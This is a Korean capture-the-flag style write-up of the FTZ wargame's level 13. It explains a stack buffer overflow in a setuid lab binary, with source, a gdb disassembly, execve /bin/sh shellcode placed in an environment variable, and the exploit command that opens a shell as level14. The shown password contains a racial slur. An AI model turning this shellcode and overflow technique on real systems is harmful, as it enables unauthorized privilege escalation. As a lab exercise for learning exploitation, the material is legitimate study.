[level13@ftz level13]$ cat hint
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
cat 명령어로 hint를 출력해보면 소스코드가 출력됩니다. 해석을 해보면
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 ); // ruid와 euid모두 3094로 설정
if(argc > 1)
strcpy(buf,argv[1]); // argv[1]을 buf에 복사
if(i != 0x1234567) { // i가 0x1234567이 아니면
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11); // 프로그램 종료
}
}
strcpy() 함수를 보면 크기에 제한 없이 buf에 값을 복사하고 있어서 버퍼 오버플로우가 발생합니다.
공격을 위해 메모리 구조를 분석해보면
[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 // i = 0x1234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16 // 3094
0x080484b8 <main+24>: push 0xc16 // 3094
0x080484bd <main+29>: call 0x8048370 <setreuid> // setreuid(3094, 3094)
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12] // eax = argv[0]
0x080484d1 <main+49>: add eax,0x4 // eax = argv[1]
0x080484d4 <main+52>: push DWORD PTR [eax] // argv[1]
0x080484d6 <main+54>: lea eax,[ebp-1048] // eax = buf[1024]
0x080484dc <main+60>: push eax // buf[1024]
0x080484dd <main+61>: call 0x8048390 <strcpy> // strcpy(buf, argv[1])
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567 // compare i, 0x1234567
0x080484ec <main+76>: je 0x804850d <main+109> // 같으면 main+109로 jump
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0 // " Warnning: Buffer Overflow !!! \n"
0x080484f6 <main+86>: call 0x8048360 <printf> // printf(" Warnning: Buffer Overflow !!! \n")
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb // 11
0x08048503 <main+99>: push 0x0 //0
0x08048505 <main+101>: call 0x8048380 <kill> // kill(0, 11)
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
메모리 구조를 그려보면

NOP[1036] + 0x1234567 + NOP[12] + Shellcode_addr[4] 구조로 버퍼 오버플로우 공격을 하면 될거 같습니다.
먼저 환경변수에 shellcode를 등록해보면
[level13@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
다음으로 환경변수 주소를 출력해보면
[level13@ftz tmp]$ ./getenv
Shellcode: 0xbffffc21
Shellcode: "\x21\xfc\xff\xbf"
이제 익스플로잇 코드를 짜보면
NOP[1036] + 0x1234567 + NOP[12] + Shellcode_addr[4]
`python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x21\xfc\xff\xbf"'`
익스플로잇 코드를 실행시켜보면
[level13@ftz level13]$ ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x21\xfc\xff\xbf"'`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
쉘이 떴습니다.
패스워드를 출력해보면
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is "what that nigga want?".